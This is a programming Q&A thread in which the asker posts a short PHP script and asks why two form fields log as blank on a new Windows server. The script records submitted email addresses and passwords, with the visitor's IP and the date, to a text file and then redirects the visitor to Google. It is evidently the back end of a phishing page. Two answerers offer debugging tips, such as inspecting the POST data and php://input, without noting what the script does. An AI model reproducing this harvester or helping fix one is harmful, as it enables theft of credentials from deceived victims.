-1

I have used this script before on a linux box and I know it works, but when I use it on my new windows server 2003 server it does not work. In the past I resolved this issue with chmodding the files to 777, but you cant do that on windows.

here is the code:

<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>

It outputs a blank for the box1 and box2 data but it still logs the IP and date to the .txt file. suggestions please?

user989805
  • 31
  • 6

2 Answers2

0

Obviously the variables $_POST['box1'] and $_POST['box2'] are not set or set to an empty string. It then get saved into the file.

PHP actually is pretty strict with variables, it will only take their values and not something expected in there, but only actually in there.

Monitor the request and verify which data get's submitted so you can verify you're using the right variables.

hakre
  • 193,403
  • 52
  • 435
  • 836
0

Maybe your $_POST is empty?

I have seen this due to problems with encoding types - then reading file_get_contents is a nice solution.

$postData = file_get_contents('php://input');

That sould answer the question if the probem is with $_POST is empty or something else is bad.

Jontas
  • 409
  • 3
  • 12